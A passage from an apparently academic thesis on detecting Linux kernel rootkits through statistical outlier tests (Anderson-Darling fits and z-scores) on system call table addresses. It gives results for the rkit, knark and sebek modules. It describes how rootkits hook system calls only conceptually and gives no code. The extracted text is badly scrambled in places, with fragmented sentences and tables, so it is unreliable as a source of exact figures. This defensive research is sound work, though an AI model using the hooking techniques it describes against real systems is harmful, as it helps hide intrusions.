system call table are changed to unusually large values (indicative of the system call table 

modification attack discussed previously).  This changes the goodness of fit score for the 

rgest extreme value distribution – the data is no longer such a good fit.  Because of the 

inux memory model and the method of attack, the outliers will be on the extreme right 

side of the distribution [16].  If these outliers are eliminated one by one, the distribution 

logistic 

Figure 5.2:  system call table fit vs. next best fitting distribution (logistic) 

 

 

la

L
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slowly moves from a score of approximately ninety eight back to very close to the 

original score of approximately five.  

 This new technique is a method for detecting Linux Kernel Module (LKM) 

rootkits.  These rootkits modify memory addresses in the system call table, which 

originally fit the largest extreme value distribution very well; the Anderson-Darling 

goodness of fit test yields a score of approximately five.  This seems to hold across 

multiple architectures; experiments on Intel 32 bit architectures and SPARC 64 bit 

rchitectures yield similar results.   

 In experiment one, the Rkit Linux Kernel Module rootkit version 1.01 was 

ownloaded and installed o ntel computer running Linux kernel version 2.4.27.  

kit 1.01 only modifies one entry in the system call table – sys_setuid.  Rkit 1.01 was 

g 

ue 

re changes to 98.079.  Clearly, an 

utlier is present in the form of the sys_setuid system call table entry with a greatly 

increased memory address.  The sys_setuid system call table entry address was changed 

from 0xC01201F0 (good value) to 0xD0878060.  Converted to decimal, these values are 

3,222,405,616 and 3,498,541,152 – a difference of 276,135,536 and approximately 8.5% 

larger than the original value.   

a

d n a 32-bit I

R

selected because (a) it is a LKM rootkit, and (b) it attacks only one entry in the system 

call table.  If only one outlier can be detected using this method, rootkits that attack 

several system call table entries may be detected more easily.   

 From table 5.1, it is known that the test system – a 32-bit Intel computer runnin

Linux kernel 2.4.27 – has a 252 entry system call table fitting the largest extreme val

distribution with an Anderson-Darling goodness of fit score of 5.228.  When rkit 1.01 is 

installed, the Anderson-Darling goodness of fit sco

o
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 When one system call table address is modified, the goodness of fit score changes 

from 5.228 to 98.079, a change of approximately 1876%.  When the modified sys_setuid 

memory address is removed from the data, the Anderson-Darling goodness of fit score 

for the Largest Extreme Value distribution returns to 4.655 – within 1.09% of the original 

score of 5.228.   This finding is shown below in table 5.3.  

Table 5.3:  results of rkit 1.01 experiment 

 
 
 
 

 In experiment two, the knark Linux Kernel Module rootkit version 2.4.3 was 

stalled on the same test system – a 32-bit Intel computer running Linux kernel version 

.4.27.  Knark is also  different memory 

 

 improves, but does not show a 

dramatic or significant improvement until the final outlier is removed.  The importance of 

this fact lies in the concept of complete detection.  Through this method, a rootkit that 

System AD-Score
Clean  5.228 
Modified  98.079 
Modifications Removed  4.655 

in

2  a Linux Kernel Module rootkit, and attacks nine

addresses in the system call table.  Experiment two yields similar results as experiment 

one – a 2073% decrease in goodness of fit, then a return to within 0.94% of the original

score when the outlying modified addresses are removed.  This finding is summarized 

below, in table 5.4.   

 
Table 5.4:  results of knark 2.4.3 experiment 

 
 
 
 

 Also in experiment two, as the modified system addresses are removed one by 

one, the Anderson-Darling goodness of fit score slowly

System AD-Score
Clean 5.228 

Modifications Removed 4.74 
Modified 108.379 
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attacks only one system call table address can be successfully detected.  Figure 5.3, 

below, illustrates this finding.  It is possible to not only detect most modified system ca

addresses, but all modified system call addresses. 

ll 

 
 

Figure 5.3:  Anderson-Darling score vs. outliers 

In experiment three, the sebek data capture toolkit version 2.4 was installed on the 

e test system – a 32-bit In inux rsion 2.4.27.  Some 

oftwa oneypot resea ally sebek [52], utilizes  

ools 

he 

ll 

archers employ 
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sam tel computer running L  kernel ve

s re used in h techniques similar to

those employed by Linux Kernel Module rootkits.  Sebek is a suite of data capture t

designed to capture an attacker’s activities on a high interaction honeypot, without t

attacker becoming aware of this surveillance [52].  One module in the sebek package, 

sebek.o, attacks the system calls sys_read, sys_socket, and sys_open using the system ca

table modification attack [52].  From the author’s standpoint, rese

rch, specific
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‘honeypot data capture tools’ and attackers employ ‘rootkits’ – in reality, these two too

appear to be nearly identical in fuction and purpose.   

  Additionally, Sebek clients exist for both the 2.4 and 2.6 Linux kernels.  Now 

there is an oppo

ls 

rtunity to test this detection method on the 2.6 Linux kernel, as well as 

ith the 2.4 kernel as has been investigated up to this point.   

 As mentioned previously, the Linux kernel 2.4 system call table best fits the 

largest extreme value distribution, with a Anderson-Darling score of 5.228.  After 

installing the Sebek tool on Linux kernel version 2.4.27, the goodness of fit score for the 

largest extreme value distribution changes from 5.228 ( a good score) to 108.929 (a very 

bad score).  Indeed, it will be shown that sebek modifies the 2.4.27 system call table in 

eight different locations.  This is the expected result, and similar to the results in the first 

two experiments – a goodness of fit decrease of 2,083% due to what is, essentially, a 

rootkit infection.  Once these eight outliers are removed, the goodness of fit score returns 

to 4.971 – within 05% of the original, uninfected value.  Table 5.5, below, summarizes 

this finding.   

Table 5.5:  results of Sebek 2.4 experiment 

 

 

 
 one 

ow a 

or significant improvement until the final outlier is removed.  Once again, this 

 

d.   

Syste

w

m AD-Score

Modified                108.929 
Clean                   5.228 

Modifications Removed  4.971 

 Just as in experiment two, as the modified system call addresses are removed

by one, the Anderson-Darling goodness of fit score slowly improves, but does not sh

dramatic 

finding emphasizes the concept of complete detection, which further shows that even if a

rootkit attacks only a single system call table address it can be successfully detecte
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Additionally, if there existed a catalog of rootkits based on the number of system call 

table attacks, rootkits could possibly be identified based on this metric.  Figure 5.4, 

below, further illustrates this finding.  Again, it is possible to detect all modified system

call addresses. 

 

 

 

Figure 5.4:  Anderson-Darling score vs. outliers 

In experiment four, the Sebek data capture toolkit 2.6 was installed on the same 

.6 kernel 

le.  Table 5.6, below, illustrates that the distribution of system call 

Anderson-Darling score vs. outliers

0

20 

40 
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80 

100 

120 

0 1 4 5 6 7 82 3

number of outliers

 

test system, a 32-bit Intel computer, but in this instance running Linux kernel version 

2.6.8.  This is especially interesting, in that Linux Kernel Module rootkits are most 

prevalent among the 2.4 kernels.  This is an unusual opportunity to use the general 

distribution model to detect the system call table modifcation attack against the 2.6 

kernel.   

 First, it must be determined which distribution best fits the data in the 2

system call tab
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addresses within the 2.6 kernel system call table fit the largest extreme value distribution 

est, with an Anderson-Darling goodness-of-fit score of 7.322.  Recall that the best fitting 

distribution for the syst rsion 2.4 is largest 

extreme value.  This is very good evidence that the distribution of system call addresses 

in the system call table fit the tion across ke sions and within the 

same architecture.   

Table 5.6:  system call table for kernel 2.6 

Largest Extreme Value 7.322 

3-Parameter Lognormal 10.491 

Normal 10.511 

Logistic 10.739 

3-Parameter Weibull 43.484 

bull 43.642 

43.652 

2-Parameter Exponential 79.622 

Exponential 130.255 

 

 After Sebek 2.6 is installed on the test system, the goodness-of-fit score for the 

Largest Extreme Value distribution changes from 7.322  on the clean system, to a much 

worse score of 122.115 – a change of approximately 1667%.  After these modified 

system call addresses are removed from the system call table, the goodness-of-fit score 

for the largest extreme value distribution returns to 8.031, within 09% of the original 

score.  Table 5.7 illustrates that this result is very similar to the previous three 

experiments. 

 

b

em calls in the system call table in kernel ve

 same distribu rnel ver

Distribution AD-Score 

3-Parameter Gamma 8.57 

Lognormal 10.51 

3-Parameter Loglogistic 10.734 

Loglogistic 10.742 

Wei

Smallest Extreme Value 

 

 59



Table 5.7:  results of sebek 2.6 experiment 

Clean      7.322 

Modifications Removed   8.031 

d system 

e 

oved.  

5, 

 

Figure 5.5:  Anderson-Darling score vs. outliers 

 

5.5  Conclusions 

 The general distribution model appears to work very well for the detection of 

Linux Kernel Module rootkits.  In each of four experiments, the model was able to 

System AD-Score 

Modified      122.115 

 

 Just as in all of the previous experiments in this category, as the modifie

call addresses are removed one by one, the Anderson-Darling goodness-of-fit scor

slowly improves, and shows a dramatic improvement when the final outlier is rem

This is a similar result to all previous experiments in this category, and further 

strengthens the cases that complete detection and identification is possible. Figure 5.

below, illustrates further.   

Anderson-Darling score vs. Outliers
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completely detect the presence of a Linux Kernel Module rootkit (or programs that mimic 

e behavior of this class of rootkit) which had modified the system call table.  

dditionally, there now exists evidence that suggests that the system call table of 

different kernel versions of Linux ma in the same 

architecture.  This is an important and promising finding, an unexpected result of 

an

rawback of this approach (although now lessened) is the necessity of having at least 

me generalized a priori knowledge about the system or class of systems under 

observation – that is, knowledge of which distribution the system call table for these 

classes of systems fits the best.  Since the system call tables of the Linux 2.4 and 2.6 

kernels both fit the largest extreme value distribution within the Intel 32-bit architecture, 

it may indeed be possible to successfully group systems by operating system and 

architecture type, omitting kernel or operating system version.   

 

 

 

 

 

 

 

 

 

th

A

y fit the same distribution with

alyzing the Sebek honeypot software on both the 2.4 and 2.6 Linux kernels.  One 

d

so
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CHAPTER VI 

 

 

 

uted.  However, if a normal distribution of system calls may be assumed, this can 

tested 

 

.3 discusses the normality of the 

used 

 

  Specifically, the definitions of an outlier and discordancy test have not 

DETECTING SYSTEM CALL TABLE MODIFICATION ATTACKS USING  
NORMAL DISTRIBUTION MODELS 

 

 As discussed in the previous chapter, most system call tables are not normally 

distrib

greatly simplify the task of rootkit detection.  This assumption of normality can be 

on any given system, even if the system has been infected by a kernel rootkit.  Section 6.1

contains a review of definitions and a modified formal model, and section 6.2 presents a 

few brief comments on hardware platforms.  Section 6

system call table in uninfected systems, and systems infected by a variety of different 

rootkits, and section 6.4 briefly discusses the discordancy test in this approach.  

Section 6.5 makes a careful examination of the experimental results, and section 6.6 

includes a summary and conclusions from this approach. 

 

6.1  Definitions and Formal Model 

 Most of the definitions mentioned in this section have been previously defined in 

Section 5.1.

changed.  The definition of a kernel rootkit has similarly remain unchanged, and the 

formal model presented in Section 5.1 still holds with significant modifications.  Since 
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the formal model has changed, some of the information presented in Section 5.1 will be 

reviewed again here for clarity.  

 Recall that a kernel rootkit is defined as some program p2, which imitates a 

of operating system functionality known as program p

subset 

f p2.  

ists in p2, but not p1, is the additional functionality provided by 

the 

y be 

he elements that may be discarded are:  

1 = M

.2) 

dresses in clean kernel  (6.3) 

2 = t(s2) – Discordancy score of addresses in clean system call table  (6.4) 

lf of the elements from the original formal model, the new 

rmal  

el are the 

1’ = M

) 

1.  Therefore, p1 is a subset o

The functionality that ex

the kernel rootkit in order to maintain control of compromised systems, attack other 

systems, destroy evidence, and decrease the chance of the attacker being detected by the 

authorities.  More formally, the kernel rootkit functionality is expressed as p2 – p1 = p’ 

[14]. 

 The core difference in this approach is the absence of the necessity to have 

statistical information about the properties of an uninfected system.  This being true, 

elements of the formal model that define the properties of an uninfected system ma

discarded.  T

s 1(p1) – system call addresses in clean kernel     (6.1)  

s2 = M2(p1) – system call addresses in clean system call table   (6

D1 = t(s1) – Discordancy score of system call ad

D

 Having discarded ha

fo model is smaller, more elegant, and requires significantly less a priori knowledge

about the system under study.  The only remaining elements in the formal mod

following: 

s 1(p2) – system call addresses in infected kernel     (6.5) 

s2’ = M2(p2) – system call addresses in infected system call table   (6.6
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D1’ = t(s1’) – Discordancy score of system call addresses in infected kernel (6.7

D

) 

resses in infected system call table  (6.8) 

In this case, the discordancy test t is the z-score.  The z-score is simply the 

tions away from the mean for a particular value x, and is 

2’ = t(s2’) – Discordancy score of add

 

number of standard devia

represented by z = (x – X )/σ. 

 First, it will be shown that the values in the system call table are normal enough to 

allow the successful application of this particular test.  Second, the z-scores for the valu

in the system call table will be calculated and the entries with a z-score greater than or

equal to three have obviously been modified by the deployment of a kernel rootkit.  T

approach has the added benefit of quickly and easily ide

es 

 

his 

ntifying which specific system 

 

 

ilar, at least, across differing kernel versions and 

rchitectures.  In this approach, such similarity is much less important.   

All that is necessary in this case is a very modest assumption of normality.  This 

ssumption can be tested beforehand, and if it holds, the rootkit detection process can 

calls have been modified by the rootkit, and offers the promise of not only detecting 

rookits but identifying (or at least classifying) the specific rootkit which has been 

deployed.   

 The formal model for this approach is simple, elegant, and straightforward.  Once

again, the infected values in the system call table will be on the far right side of the 

distribution – if the values have been ordered.   

 

6.2 Hardware Platforms 

 In the general distribution model discussed in Chapter 5, it is imperative that the 

goodness of fit scores be sim

a

 

a
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begin.  This p ether a 

kernel rootkit infection has oc

 

6.3 Normality of Data 
 
 The following tables s for 32 bit Intel architecture 

kernel versions 2.4.27 and 2.6.8 that are uninf nal tables show the goodness 

of fit scores for the 32 bit Inte .27 infected with the rkit 

and knark kernel rootkits as w ackage;  the 32 bit Intel 

Architecutre Kernel version 2.6.8 infected wi

uninfected SPARC architectu

 Even a cursory exami with kernel rootkit infection, 

ere are dramatic changes in th  worst fitting distributions for a given kernel 

version.  In  is based.   

However, it may also be note ibution seems to be ‘in 

the middle’ of the goodness o scenarios.  This suggests 

that the normal distribution m rdancy test, as it appears to 

be an adequate (although not r uninfected with kernel 

rootkits.  The following seven at the Normal distribution 

is neither the worst, nor the b erating system/architecture 

pair investigated thus far.   

 

 

 

reliminary normality testing can be performed, regardless of wh

curred.   

how the goodness of fit scores 

ected.  Additio

l architecture kernel version 2.4

ell as the sebek 2.4 honeypot p

th the sebek honeypot package; and the 

re kernel version 2.4.27.   

nation of this data shows that, 

th e best and

fact, this is the premise upon which the earlier work in this research

d that in each case, the normal distr

f fit scores in each of these four 

ay be a suitable basis for a disco

the best) fit for kernels infected o

 tables (6.1 through 6.7) show th

est, fitting distribution for any op
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Table 6.1:  syste 32 kernel 2.4.27 

3-Parameter Gamma          6.244     
3-Parameter Loglogistic    7.357     
Logistic                   7.361   
Loglogistic                7.364  
Lognormal                  7.495  
Normal                     7.495  
3-Parameter Lognormal      7.512     
3-Parameter Weibull       11.949  
Smallest Extreme Value    11.958  
Weibull                   11.982  
2-Parameter Exponential   82.486 
Exponential              116.040 

 
Table 6.2:  system

Distribution               AD-Score 
3-Parameter Lognormal       32.996 
3-Parameter Loglogistic     77.965 
Loglogistic                 85.243 
Logistic                    85.653 
3-Parameter Gamma           87.275 
Lognormal                   95.354 
Gamma                       95.370 
Normal                      95.400 
Weibull                     97.158 
Smallest Extreme Value      97.169 
Largest Extreme Value       98.079 
Exponential                 115.452 
2-Parameter Exponential     374.231 
3-Parameter Weibull       12542.668 

Table 6.3:  system call table for infected (knark) IA32 kernel 2.4.27 

Distribution               AD-Score 
3-Parameter Lognormal       66.450 
3-Parameter Weibull         75.427 
Weibull                     88.036 

Loglogistic                 92.379 
Logistic                    92.425 
Lognormal                   92.708 
Norm
Gamma                       92.749 
3-Pa
Largest Extreme Value      108.379 
Expo   
2-Pa   

 
 
 
 
 
 

m call table for uninfected IA
 

Distribution              AD-Score 
Largest Extreme Value      5.228   

 call table for infected (rkit) IA32 kernel 2.4.27 
 

 

 

Smallest Extreme Value      88.043 
3-Parameter Loglogistic     91.508 

al                      92.723 

rameter Gamma           94.014 

nential              114.461 
rameter Exponential  683.836 
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Table 6.4:  system call table for infected (sebek 2.4) IA32 kernel 2.4.27 
 

Distribution               AD-Score  
3-Parameter Loglogistic     31.639 
3-Parameter Lognormal       66.074 
3-Pa
Weib
Smal
Logl
Logistic                    92.837 
Lognormal                   93.271 
Norm
Gamm
3-Parameter Gamma           95.074 

2-Parameter Exponential    677.189 

Table 6.5:  syst 2 2.6.8 kernel 
 

Distribution              AD-Score 
Larg
3-Pa
3-Pa
Logn 10.51 
Norm 10.511 
3-Pa .734 
Logi .739 
Logl
3-Pa
Weibu 43.642 
Smal 43.652 
2-Par 79.622 
Expo

 
Table 6.6:  system call table for infected (sebek 2.6) IA32 2.6.8 kernel 

 

 

 
 
 
 
 
 
 

 

Distribution               AD-Score

Weibull                     101.089 
Smal
Loglogistic                 104.191 
Logistic                    104.279 
3-Parameter Gamma           104.446 
Lognormal                   105.469 
Normal                      105.493 
Gamma                       105.506 
Largest Extreme Value       122.115 
Exponential                 129.252 
2-Parameter Exponential     739.273 

rameter Weibull         88.924 
ull                     88.938 
lest Extreme Value      88.944 
ogistic                 92.789 

al                      93.285 
a                       93.308 

Largest Extreme Value      108.929 
Exponential                114.582 

 
em ble for uninfected IA3 call ta

est Extreme Value 7.322 
8.57 rameter Gamma  

rameter Lognormal 10.491 
ormal   
al    
rameter Loglogistic 10
stic   10
ogistic   10.742 

43.484 rameter Weibull  
ll   
lest Extreme Value 
ameter Exponential 
nential   130.255 

 
 3-Parameter Lognormal       64.053 

3-Parameter Loglogistic     87.141 
3-Parameter Weibull         101.058 

 
lest Extreme Value      101.1 
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Table 6.7:  system

Distribution             AD-Score 
Loglogistic               10.596   
Largest Extreme Value     11.631   
Logistic                  11.760  
Lognormal                 19.104  
Gamma                     20.411   
Normal                    23.273  
3-Parameter Gamma         25.861     
3-Parameter Weibull       31.932   
3-Parameter Loglogistic   33.908     
Weibull                   35.818   
3-Parameter Lognormal     36.736     
Smallest Extreme Value    40.587   
2-Parameter Exponential   52.937 
Exponential              101.512  

 

 

 A promising discordancy test that relies upon an underlying assumption of 

ormality is the z-score.  The z-score is derived by subtracting an individual score from 

the population mean and dividing the differen

The resulting z-score is a mea is from the mean, in standard 

deviations.  For obvious reaso easure of outlyingness.  A 

more thorough discussion of t  the following section. 

 

6.4  Statistical Methods 
 
 The z-score is also kn mal score in statistics.  It is a 

dimensionless quality, that is,  therefore a pure number [53].  

The quantity z represents the dis ore and the population mean, 

and as such is an excellent ca o be used in outlier detection. 

 An important distincti e z-score requires the 

opulation mean and population standard deviation, not a sample mean and sample 

 call table for uninfected SPARC kernel 2.4.27 
 

n

ce by the population standard deviation.  

sure of how far a given score 

ns, this will be an excellent m

he z-score will be presented in

own as a standard score or nor

 it has no physical units and is

tance between any given sc

ndidate for a discordancy test t

on is that the calculation of th

p

standard deviation.  This requires knowledge of the population parameters, not the 

properties of a sample drawn from a larger population [53].   
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 Why choose the z-score as a discordancy test in the use of outlier detection for 

rootkit analysis?  The score itself has many properties that lend itself well to the purpose. 

First, the data used in this research is univariate – memory addresses – and the more 

complex outlier tests designed for large, multivariate datasets are not appropriate.  

  

econd, memory addresses in any given computer system are finite and known.  

he population mean and population standard deviation are 

r 

ire 

y be 

 

subject 

S

Therefore, knowledge of t

known.  Finally, the best fitting distribution(s) for any given Kernel/architecture 

combination is dramatically changed by a kernel rootkit infection.  However, the normal 

distribution seems to be ‘in the middle’ for goodness of fit, independent of whether the 

system has been infected with a Kernel rootkit.  This suggests that a discordancy test 

based on an underlying assumption of normality may be an effective test for outlie

detection in either scenario – an uninfected, or infected, system.   

 

6.5  Experimental Results 

 Before any analysis of outliers that relies on an underlying assumption of 

normality can be made, the data (the system calls present in the system call table) must be 

analyzed for normality.  Fortunately, the system call table addresses represent the ent

population and not merely a sample.   

 Before any of the normality based detection techniques in this research ma

applied to any given computer system, that system must pass a ‘preliminary normality

test’.  This ‘preliminary normality test’ must be passed regardless of whether the 

system has been infected with a kernel rootkit.  The concept for, and specific 
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implementation of, the preliminary normality test will be developed in this section afte

the examination of several specific cases.   

 First, the assumption of normality model will be applied to

r 

 two systems that have 

ot been infected by kernel rootkits.  The first system, a SPARC architecture, and the 

tem, are both Linux kernel version 2.4.27.  The expected 

ble 

 

 

 also later be shown that the normality 

re 

rsion 

.4.27 have z-scores ranging from -1.35146 standard deviations below the mean, to 

ean.  This confirms the expectation that an 

n

second system, and IA32 sys

result is that neither system will have significant outliers among the system call ta

addresses – that is, no system call table address that lies outside three standard deviations 

from the mean, and preferably not outside one standard deviation from the mean.   

 

6.5.1  Uninfected IA32/2.4.27 Kernel 

 In table 6.1, observe the rank of the normal distribution in the overall ranking of

goodness of fit scores for this dataset.  The normal distribution is a very close fitting 

distribution, with a score of 7.495, in a range between 5.228 and 116.040.   

 It will be shown that this is sufficient in order to successfully employ a normality

based discordancy test.  Furthermore, it will

requirement necessary for these tests is quite loose.   

 Having established that the data passes the preliminary normality test, the next 

step is to calculated the z-scores for each memory address in the system call table, and 

more closely examine those addresses that are significant outliers (those addresses mo

than three standard deviations from the mean).   

 The 252 memory addresses in the system call table for IA32 Linux kernel ve

2

1.47928 standard deviations above the m
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uninfected system has no outlying memory address in the system call table and all 

memory addresses are easily within three standard deviations from the mean, and as s

none of them are considered outliers.   

uch 

 normal distribution in the overall 

d, 

 score in order to successfully employ a 

ormal

f 

ernel 

 deviations above the mean.  This is a worrisome 

sult because z-scores of greater than three are generally considered to be outliers.  In 

the system call table that lie outside three 

e validity of the model.  However, there is still hope.  In the event that the 

rootkit infections in the following sections generate extreme outliers, that is, outliers with 

 

6.5.2  Uninfected SPARC/2.4.27 Kernel 

 In table 6.2, once again observe the rank of the

ranking of goodness of fit scores for this dataset.  The normal distribution is, as expecte

a very close fitting distribution, with a score of 23.273, in a range between 11.631 and 

101.512.   

 This should also be a sufficient normality

n ity based discordancy test.  In fact, the overall rank of the normal distribution 

among the other distributions is better than in the previous experiment.  If the result o

this experiment is as expected, the normality requirement will be further lessened.   

 Calculating the z-scores for the system call table in a SPARC architecture k

version 2.4.27 system, the observations range between -0.84669 standard deviations 

below the mean up to 3.60707 standard

re

fact, there are fifteen memory addresses in 

standard deviations from the mean.   

 In an uninfected SPARC architecture Kernel version 2.4.27 system, there are 

fifteen outliers that may appear to be caused by rootkit infection, and this finding 

threatens th
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z-scores in excess of four, ten, fifteen or even more standard deviations from the mean, 

the model may still hold.  

 

6.5.3  Uninfected IA32/2.6.8 Kernel 

 Table 6.5 shows that the system call table for an uninfected 32-bit Intel 

architecture 2.6.8 kernel once again fits the normal distribution very closely, with a 

Anderson-Darling goodness of fit score of 10.511, in a range between 8.57 and 130.255.  

This seems to be a good enough score to perform the z-score test, until the uninfected 

system call is analyzed for the presence of outliers.   

 In the uninfected system, the 2

 

84 entries in the system call table have z-scores 

. 

 the basic statistical properties on the three preceding 

ninfected systems indicates that normality based analysis of the system call table is 

itecture Linux 2.4.27 kernel, questionable for a 

el 

y 

 general a priori knowledge about 

raning from -1.29596 standard deviations below the mean, up to 9.44081 standard 

deviations above the mean.  There exists a single natural outlier with a z-score of 

9.44081.  If not for this entry, the z-scores would range between -1.29596 and 1.69834

 

6.5.4 Implications On Analysis 

 An investigation of

u

certainly possible on a 32-bit Intel arch

64-bit SPARC architecutre Linux 2.4.27 kernel, and not possible for a 32-bit Int

architecture Linux 2.6.8 kernel.  The implicatons of this finding are that:  there is 

variability in the statistical properties of system call tables, even within the same 

architecture but across kernel versions; a favorable score on some measure of normalit

does not guarantee the absence of outliers; and, some
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the basic statistical properties of broad classes of operating system/architecture pairs 

would be helpful. 

 

6.5.5 Rkit Infected IA32/2.4.27 Kernel 

 Recall that Table 6.2 presents the Anderson-Darling goodness of fit scores for 

e 32-bit Intel Architecture Linux Kernel 2.4.27 rkit-

s test – 

 

 score 

) and 

ality 

 

r IA32 Linux kernel version 2.4.27 have z-scores ranging between 

.35146 standard deviations below the mean, to 1.47928 standard deviations above the 

t an uninfected system of this type has no 

y 

in infected with the rkit 1.01 LKM 

several different distributions of th

infected system call table.  Specifically, the normal distribution – the basis for thi

received an AD score of 95.400 within an overall range between 32.996 (3-parameter

lognormal) and 12542.668 (3-parameter weibull).   

 In an uninfected system of this type, the normal distribution received an AD

of 7.495 within an overall range between 5.228 (largest extreme value distribution

116.040 (exponential distribution).  Relying on an underlying assumption of norm

(which may not be wise), an analysis will now be conducted to detect the presence of the

rkit Linux Kernel Module rootkit. 

 As previously mentioned in Section 6.4.1, the 252 memory addresses in the 

system call table fo

1

mean.  This re-confirms the expectation tha

obvious outliers in the system call table – all of the system call table entries are easily 

within three standard deviations from the mean, so none of them are considered to be 

outliers.   

 Recall that rkit 1.01 attacks only one location in the kernel – the sys_setuid entr

in the system call table.  After the kernel is once aga
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rootkit, the normality test is re-applied.  Now all of the entries in the system call table lie 

between -0.0709 standard devations below the mean and 0.0028 standard deviations 

above the mean, with one exception.  One entry in the infected system call table, 

sys_setuid, lies at 15.9058 standard deviations above the mean.  Clearly this is an obvious

outlier at approximately sixteen sta

 

ndard deviations above the mean, since the usual 

cations in the system call table.  When the normality test is applied, that is,  

ever, 

bove 

 LKM Rootkit, sebek 2.4 attacks eight different 

cations in the system call table.  When the normality test is once again applied, that is,  

requirement for an outliers is three or more standard deviations from the mean.  

Sys_setuid is indeed the single system call entry attacked by rkit 1.01 and it is clearly 

detected by the normality test.   

 

6.5.6  Knark Infected IA32/2.4.27 Kernel 

 Unlike the rkit 1.01 LKM Rootkit, the knark 2.4.3 LKM rootkit attacks nine 

different lo

When z-scores for each entry are calculated these nine locations are immediately flagged 

as outliers.   

 All non-infected locations fall well within the three standard deviation limit and 

can be excluded as outliers.  The nine infected locations in the system call table, how

each receive z-scores ranging between 5.18580 and 5.18585 standard deviations a

the mean.  These entries can be obviously be considered outliers and as such, victims of 

Knark 2.4.3 LKM rootkit infection. 

 

6.5.7  Sebek 2.4 Infected IA32/2.4.27 Kernel 

 Similar to the knark 2.4.3

lo
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When z-scores for each entry are calculated these eight locations are also flagged as 

 

he system call table, however, each receive z-scores ranging between 

 Kernel 

Recall that Table 6.6 presents the Anderson-Darling goodness of fit scores for 

 architecture Linux kernel 2.6.8 sebek 2.6 

 test – 

n uninfected system of this type, the normal distribution received an AD score 

bek 

e 2.6.8 Kernel fits the normal distribution very closely, with a Anderson-

arling goodness of fit score of 10.511, in a range between 8.57 and 130.255.  This 

outliers.   

 Just as with the preceding rootkits, all non-infected locations fall well within the

three standard deviation limit and can also be excluded as outliers.  The eight infected 

locations in t

5.51149 and 5.51151 standard deviations above the mean.  These entries can be 

obviously be considered outliers and as such, victims of knark 2.4.3 LKM rootkit 

infection. 

 

6.5.8  Sebek 2.6 Infected IA32/2.6.8

 

several different distributions of the 32-bit Intel

infected system call table.  Specifically, the normal distribution – the basis for this

received an AD score of 105.493 within an overall range between 87.141 (3-parameter 

loglogistic) and 739.273 (3-parameter exponential).   

 In a

of 10.511 within an overall range between 8.57 (3-parameter gamma) and 130.255 

(exponential distribution).  Relying on an underlying assumption of normality (which 

may not be wise), an analysis will now be conducted to detect the presence of the se

2.6 honeypot/Linux Kernel Module Rootkit. 

 Table 6.5 shows that the system call table for an uninfected 32-bit Intel 

architectur

D

 75



seems to be a good enough score to perform the z-score test, until the uninfected system 

  This finding only shows, 

eless, 

l 

 

testing in order to reduce or eliminate the 

lse po

 call 

 of 

standard deviations above the mean.  

st, 

nd to 

call is analyzed for the presence of outliers.   

 The uninfected system call of the 32-bit Intel architecture Linux 2.6.8 kernel 

yields one clear outlier – one system call entry with a z-score of 9.44081 standard 

deviations above the mean.  This finding shows that this normality based test is not 

appropriate for all operating system/architecture pairs.

however, that the test is susceptible to false positives.  Note, however, that the percentage 

of false positives is a very small 0.35%.  The test will be applied in this case neverth

to determine if the test is still capable of detecting the rootkit – that is, the test may stil

be valuable if a method can be found to address the problem of false positives.  A second

discordancy test may prove useful for further 

fa sitives. 

 Sebek 2.6, similar to sebek 2.4, attacks eight different locations in the system

table.  When this honeypot/rootkit is applied, and the z-score test is applied, all eight

these attack locations are flagged as outliers.  The eight outliers have z-scores ranging 

between 5.86328099021 and 5.86328623365 

Clearly, the z-score test succeeds in detecting the sebek 2.6 honeypot/rootkit.  This te

therefore, suffers from false positives but not false negatives.  If a way could be fou

address the problem of false positives, this test may yet have detection value. 

 

6.6  Conclusions 

 Detecting the system call table modification attack using the ‘assumption of 

normality’ model has been only partially successful.  This approach has been successful 

 76



in detecting rootkits on a Linux 2.4.27 kernel/32-bit Intel architecture system.  In this 

configuration, detection was completely successful and there were no false positives or 

false negatives. 

 However, in other configurations, including the Linux 2.6.8/32-bit Intel and Linux

2.4.27/SPARC Architectures, this model suffers from false positives.  The reason for this

lies in the fact that both of these configurations contain natural outliers in the system ca

table, that is, the uninfected system call table in both configurations contain entries 

lie more than three standard deviatons from the mean.   

 Experiments have shown that this method is still effective at detecting rootkits on 

systems that are known to be infected.  If some alternative method can be foun

 

 

ll 

that 

d to show 

at a system is not infected, this method may be employed to show that a system is 

ible that this method may still be useful in the future, if combined with 

 

l for another class of operating systems.   

 

th

infected.  It is poss

another approach that can eliminate the false positives.  Finally, it is clear that the 

assumption of normality does not hold, at least for distributions of Linux system call 

tables across various architectures.  At best, this assumption may be shown to hold in a

few instances.  In a later chapter, the normality assumption and approaches will be seen 

to work very wel
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CHAPTER VII 

 

GENERAL DISTRIBUTION MODELS 

 

 
al distribution models to 

etect the system call target modification attack employed by runtime kernel patching 

otkits.  In sections 7.1 and 7.2, a review of definitions and a formal model are 

resented.  Section 7.3 includes a brief discussion of hardware platforms covered in this 

search, as well as an explanation of the absence of the SPARC architecture from this 

articular technique.  Section 7.4 offers an analysis of the statisitcal properties of the data 

sed in this technique – the memory addresses from the disassembled conditional and 

unconditional jump instructions loca hile section 7.5 presents an 

analysis of the statistical methods used in the interpretation of the data.  Section 7.6 

in  

the chapter with conclu

 
7.1 Definitions 

it 

DETECTING SYSTEM CALL TARGET MODIFICATION ATTACKS USING 

 

 This chapter examines the possibility of using gener

d

ro

p

re

p

u

ted in the kernel, w

cludes the presentation and analysis of the experimental results, and section 7.7 finishes

sions.   

 In this chapter, the definitions of an outlier, discordancy test, and kernel rootk

have not changed from the original definitions presented in Chapter 5.  Kernel rootkits 
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attack the operating system by modifying system call memory addresses.  Recall that this 

is accomplished in the following ways [14]: 

 

System call table modification – Changes the addresses of the system calls in the system 

call table to point to similar, but malicious, system calls located much higher in memory. 

 

System call table redirection – Modifies the system call handler, changing the address of 

the system call table to a similar, but malicious system call table much higher in memory. 

 

System call target modification – Directly modifies the system call instructions (via 

runtime kernel patching), inserting a jump instruction to a location much higher in 

ntains a similar, but malicious, system call.   

tem call target modification attack, in that 

e system call table event handler itself becomes the victim of system call target 

ble modification attack, which has been examined in the preceding two chapters.  A 

ut the system calls themselves.   

memory which co

 

 The work in this chapter focuses on detecting rootkits of the two latter types – 

system call redirection, and system call target modifications.  Note that system call table 

redirection is simply a special case of the sys

th

modification.   

 Linux Kernel Module rootkits typically employ the less sophisticated system call 

ta

more sophisticated rootkit known as a runtime kernel patching rootkit actually modifies 

the running kernel in /dev/mem or /dev/kmem and changes not the system call table, 

b
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 Experience has shown that this is accomplished by overwriting the first few 

instructions of a system call with a jump instruction to some location very high in 

memory, containing the complete code for a similar malicious system call.  Now, instead 

